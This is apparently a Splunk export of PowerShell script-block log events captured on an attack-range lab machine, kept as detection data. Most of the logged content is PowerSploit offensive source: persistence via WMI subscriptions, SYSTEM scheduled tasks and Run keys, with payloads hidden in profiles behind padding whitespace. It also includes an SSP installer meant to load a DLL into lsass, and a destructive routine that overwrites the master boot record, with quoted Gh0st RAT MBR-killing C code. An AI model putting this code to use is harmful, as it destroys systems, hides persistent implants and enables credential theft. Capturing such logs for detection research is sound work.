__InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"""" } 'Daily' { $ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"""" } default { throw 'Invalid elevated persistence options provided!' } } } 'ScheduledTask' { $CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""' $ElevatedTriggerRemoval = ""schtasks /Delete /TN Updater"" switch ($ElevatedPersistenceOption.Trigger) { 'AtLogon' { $ElevatedTrigger = ""schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "" } 'Daily' { $ElevatedTrigger = ""schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "" } 'Hourly' { $ElevatedTrigger = ""schtasks /Create /RU system /SC HOURLY /TN Updater /TR "" } 'OnIdle' { $ElevatedTrigger = ""schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "" } default { throw 'Invalid elevated persistence options provided!' } } $ElevatedTrigger = '""' + $ElevatedTrigger + $CommandLine + '""' } 'Registry' { $ElevatedTrigger = ""New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "" $ElevatedTriggerRemoval = ""Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"" $CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`"""" $ElevatedTrigger = ""'"" + $ElevatedTrigger + $CommandLine + ""'"" } default { throw 'Invalid elevated persistence options provided!' } } # Begin processing user-level persistence options switch ($UserPersistenceOption.Method) { 'ScheduledTask' { $CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""' $UserTriggerRemoval = ""schtasks /Delete /TN Updater"" switch ($UserPersistenceOption.Trigger) { 'Daily' { $UserTrigger = ""schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "" } 'Hourly' { $UserTrigger = ""schtasks /Create /SC HOURLY /TN Updater /TR "" } 'OnIdle' { $UserTrigger = ""schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "" } default { throw 'Invalid user-level persistence options provided!' } } $UserTrigger = '""' + $UserTrigger + $CommandLine + '""' } 'Registry' { $UserTrigger = ""New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "" $UserTriggerRemoval = ""Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"" $CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`"""" $UserTrigger = ""'"" + $UserTrigger + $CommandLine + ""'"" } default { throw 'Invalid user-level persistence options provided!' } } #endregion #region Original script with its persistence logic will reside here # This is intentionally ugly in the interest of saving space on the victim machine. $PersistantScript = { function FUNCTIONNAME{ Param([Switch]$Persist) $ErrorActionPreference='SilentlyContinue' $Script={ORIGINALSCRIPT} if($Persist){ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} else {$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} mkdir (Split-Path -Parent $Prof) (gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo iex $Payload|Out-Null Write-Output $Payload} else {$Script.Invoke()} } EXECUTEFUNCTION } $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName) $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript) $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger) $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger) if ($DoNotPersistImmediately) { $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '') } else { $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', ""$PersistenceScriptName -Persist"") } #endregion #region Generate final output # Generate the persistence removal script $PersistenceRemoval = @"" # Execute the following to remove the elevated persistent payload $ElevatedTriggerRemoval (gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo # Execute the following to remove the user-level persistent payload $UserTriggerRemoval (gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo ""@ $PersistantScript | Out-File $PersistentScriptFile Write-Verbose ""Persistence script written to $PersistentScriptFile"" $PersistenceRemoval | Out-File $RemovalScriptFile Write-Verbose ""Persistence removal script written to $RemovalScriptFile"" if ($PassThru) { # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline. Write-Output ([ScriptBlock]::Create($PersistantScript)) } #endregion } function Install-SSP { <# .SYNOPSIS Installs a security support provider (SSP) dll. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Install-SSP installs an SSP dll. Installation involves copying the dll to %windir%\System32 and adding the name of the dll to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. .PARAMETER Remove Specifies the path to the SSP dll you would like to install. .EXAMPLE Install-SSP -Path .\mimilib.dll .NOTES The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll if you are running a 64-bit OS. In order for the SSP dll to be loaded properly into lsass, the dll must export SpLsaModeInitialize. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] [CmdletBinding()] Param ( [ValidateScript({Test-Path (Resolve-Path $_)})] [String] $Path ) $Principa",,,,,,,,,,,"'2022-05-02T18:24:38.745646100Z'","4104132150x0122450Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122450Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local23aram ( [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] $ScriptBlock, [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )] [ValidateNotNullOrEmpty()] [Alias('Path')] [String] $FilePath, [Parameter( Mandatory = $True )] $ElevatedPersistenceOption, [Parameter( Mandatory = $True )] $UserPersistenceOption, [ValidateNotNullOrEmpty()] [String] $PersistenceScriptName = 'Update-Windows', [String] $PersistentScriptFilePath = ""$PWD\Persistence.ps1"", [String] $RemovalScriptFilePath = ""$PWD\RemovePersistence.ps1"", [Switch] $DoNotPersistImmediately, [Switch] $PassThru ) Set-StrictMode -Version 2 #region Validate arguments if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption') { throw 'You provided invalid elevated persistence options.' } if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption') { throw 'You provided invalid user-level persistence options.' } $Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue if ($Result -and $Result.PSIsContainer) { throw 'You must provide a file name with the PersistentScriptFilePath option.' } $Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue if ($Result -and $Result.PSIsContainer) { throw 'You must provide a file name with the RemovalScriptFilePath option.' } $PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop $PersistentScriptFile = '' $RemovalScriptFile = '' if ($PersistentPath -eq '') { # i.e. Only a file name was provided implying $PWD $PersistentScriptFile = ""$($PWD)\$($Leaf)"" } else { $PersistentScriptFile = ""$(Resolve-Path $PersistentPath)\$($Leaf)"" } $RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop if ($RemovalPath -eq '') { # i.e. Only a file name was provided implying $PWD $RemovalScriptFile = ""$($PWD)\$($Leaf)"" } else { $RemovalScriptFile = ""$(Resolve-Path $RemovalPath)\$($Leaf)"" } if ($PSBoundParameters['FilePath']) { $null = Get-ChildItem $FilePath -ErrorAction Stop $Script = [IO.File]::ReadAllText((Resolve-Path $FilePath)) } else { $Script = $ScriptBlock } #endregion #region Initialize data $UserTrigger = '' $UserTriggerRemoval = '' $ElevatedTrigger = ""''"" $ElevatedTriggerRemoval = '' $UserTrigger = ""''"" $UserTriggerRemoval = '' $CommandLine = '' #endregion #region Compress the original payload in preparation for the persistence script $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script) $CompressedStream = New-Object IO.MemoryStream $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) $DeflateStream.Dispose() $CompressedScriptBytes = $CompressedStream.ToArray() $CompressedStream.Dispose() $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) # Generate the code that will decompress and execute the payload. # This code is intentionally ugly to save space. $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + ""'$EncodedCompressedScript'"" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' #endregion #region Process persistence options # Begin processing elevated persistence options switch ($ElevatedPersistenceOption.Method) { 'PermanentWMI' { $ElevatedTriggerRemoval = { Get-WmiObject __eventFilter -namespace root\subscription -filter ""name='Updater'""| Remove-WmiObject Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter ""name='Updater'"" | Remove-WmiObject Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject } switch ($ElevatedPersistenceOption.Trigger) { 'AtStartup' { $ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"""" } 'Daily' { $ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"""" } default { throw 'Invalid elevated persistence options provided!' } } } 'ScheduledTask' { $CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""' $ElevatedTriggerRemoval = ""schtasks /Delete /TN Updater"" switch ($ElevatedPersistenceOption.Trigger) { 'AtLogon' { $ElevatedTrigger = ""schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "" } 'Daily' { $ElevatedTrigger = ""schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "" } 'Hourly' { $ElevatedTrigger = ""schtasks /Create /RU system /SC HOURLY /TN Updater /TR "" } 'OnIdle' { $ElevatedTrigger = ""schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "" } default { throw 'Invalid elevated persistence options provided!' } } $ElevatedTrigger = '""' + $ElevatedTrigger + $CommandLine + '""' } 'Registry' { $ElevatedTrigger = ""New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "" $ElevatedTriggerRemoval = ""Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"" $CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`"""" $ElevatedTrigger = ""'"" + $ElevatedTrigger + $CommandLine + ""'"" } default { throw 'Invalid elevated persistence options provided!' } } # Begin processing user-level persistence options switch ($UserPersistenceOption.Method) { 'ScheduledTask' { $CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""' $UserTriggerRemoval = ""schtasks /Delete /TN Updater"" switch ($UserPersistenceOption.Trigger) { 'Daily' { $UserTrigger = ""schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "" } 'Hourly' { $UserTrigger = ""schtasks /Create /SC HOURLY /TN Updater /TR "" } 'OnIdle' { $UserTrigger = ""schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "" } default { throw 'Invalid user-level persistence options provided!' } } $UserTrigger = '""' + $UserTrigger + $CommandLine + '""' } 'Registry' { $UserTrigger = ""New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "" $UserTriggerRemoval = ""Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"" $CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`"""" $UserTrigger = ""'"" + $UserTrigger + $CommandLine + ""'"" } default { throw 'Invalid user-level persistence options provided!' } } #endregion #region Original script with its persistence logic will reside here # This is intentionally ugly in the interest of saving space on the victim machine. $PersistantScript = { function FUNCTIONNAME{ Param([Switch]$Persist) $ErrorActionPreference='SilentlyContinue' $Script={ORIGINALSCRIPT} if($Persist){ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} else {$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} mkdir (Split-Path -Parent $Prof) (gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo iex $Payload|Out-Null Write-Output $Payload} else {$Script.Invoke()} } EXECUTEFUNCTION } $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName) $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript) $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger) $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger) if ($DoNotPersistImmediately) { $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '') } else { $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', ""$PersistenceScriptName -Persist"") } #endregion #region Generate final output # Generate the persistence removal script $PersistenceRemoval = @"" # Execute the following to remove the elevated persistent payload $ElevatedTriggerRemoval (gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo # Execute the following to remove the user-level persistent payload $UserTriggerRemoval (gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo ""@ $PersistantScript | Out-File $PersistentScriptFile Write-Verbose ""Persistence script written to $PersistentScriptFile"" $PersistenceRemoval | Out-File $RemovalScriptFile Write-Verbose ""Persistence removal script written to $RemovalScriptFile"" if ($PassThru) { # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline. Write-Output ([ScriptBlock]::Create($PersistantScript)) } #endregion } function Install-SSP { <# .SYNOPSIS Installs a security support provider (SSP) dll. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Install-SSP installs an SSP dll. Installation involves copying the dll to %windir%\System32 and adding the name of the dll to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. .PARAMETER Remove Specifies the path to the SSP dll you would like to install. .EXAMPLE Install-SSP -Path .\mimilib.dll .NOTES The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll if you are running a 64-bit OS. In order for the SSP dll to be loaded properly into lsass, the dll must export SpLsaModeInitialize. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] [CmdletBinding()] Param ( [ValidateScript({Test-Path (Resolve-Path $_)})] [String] $Path ) $Principa2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1","2022-05-02T18:24:38.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122450,"endpoint_services_processes windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122450,win,373,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0001-6B4A-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Set-MasterBootRecord { <# .SYNOPSIS Proof of concept code that overwrites the master boot record with the message of your choice. PowerSploit Function: Set-MasterBootRecord Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Set-MasterBootRecord is proof of concept code designed to show that it is possible with PowerShell to overwrite the MBR. This technique was taken from a public malware sample. This script is inteded solely as proof of concept code. .PARAMETER BootMessage Specifies the message that will be displayed upon making your computer a brick. .PARAMETER RebootImmediately Reboot the machine immediately upon overwriting the MBR. .PARAMETER Force Suppress the warning prompt. .EXAMPLE Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' .NOTES Obviously, this will only work if you have a master boot record to overwrite. This won't work if you have a GPT (GUID partition table). This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): // CGh0stApp message handlers unsigned char scode[] = ""\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"" ""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"" ""\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29""; int CGh0stApp::KillMBR() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( ""\\\\.\\PHYSICALDRIVE0"", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NUL ) // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; } #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [ValidateLength(1, 479)] [String] $BootMessage = 'Stop-Crying; Get-NewHardDrive', [Switch] $RebootImmediately, [Switch] $Force ) if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { throw 'This script must be executed from an elevated command prompt.' } if (!$Force) { if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) { return } } #region define P/Invoke types dynamically $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($True)) # Define [Win32.Kernel32]::DeviceIoControl $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CreateFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::WriteFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CloseHandle $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32 = $TypeBuilder.CreateType() #endregion $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) # Convert the boot message to a byte array $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) [Byte[]] $MBRInfectionCode = @( 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer ) + $MessageBytes $MBRSize = [UInt32] 512 if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) { throw ""The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."" } # Allocate 512 bytes for the MBR $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) # Zero-initialize the allocated unmanaged memory 0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) # Write boot record signature to the end of the MBR [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) # Get the device ID of the boot disk $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 $FILE_SHARE_READWRITE = 2 -bor 1 $OPEN_EXISTING = 3 # Obtain a read handle to the raw disk $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) { throw ""Unable to obtain read/write handle to $DeviceID"" } $BytesReturned = [UInt32] 0 $BytesWritten = [UInt32] 0 $FSCTL_LOCK_VOLUME = 0x00090018 $FSCTL_UNLOCK_VOLUME = 0x0009001C $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 